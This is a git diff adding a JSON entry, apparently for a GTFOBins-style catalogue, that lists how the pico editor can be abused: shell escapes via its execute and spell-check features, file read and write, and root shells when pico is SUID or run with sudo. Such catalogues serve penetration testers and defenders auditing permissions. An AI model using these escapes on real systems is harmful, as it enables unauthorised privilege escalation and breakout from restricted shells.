diff --git a/data/pico.json b/data/pico.json new file mode 100644 index 0000000..bc1b9a9 --- /dev/null +++ b/data/pico.json @@ -0,0 +1,34 @@ +{ + "functions": { + "shell": [ + { + "code": "pico\n^R^X\nreset; sh 1>&0 2>&0\n" + }, + { + "description": "The 'SPELL' environment variable can be used in place of the '-s' option if the command line cannot be changed.", + "code": "pico -s /bin/sh\n/bin/sh\n^T\n" + } + ], + "file-write": [ + { + "code": "pico [file]\nDATA\n^O\n" + } + ], + "file-read": [ + { + "code": "pico [file]" + } + ], + "suid": [ + { + "description": "The 'SPELL' environment variable can be used in place of the '-s' option if the command line cannot be changed.", + "code": "./pico\n^R^X\nreset; sh 1>&0 2>&0\n" + } + ], + "sudo": [ + { + "code": "sudo pico\n^R^X\nreset; sh 1>&0 2>&0\n" + } + ] + } +} \ No newline at end of file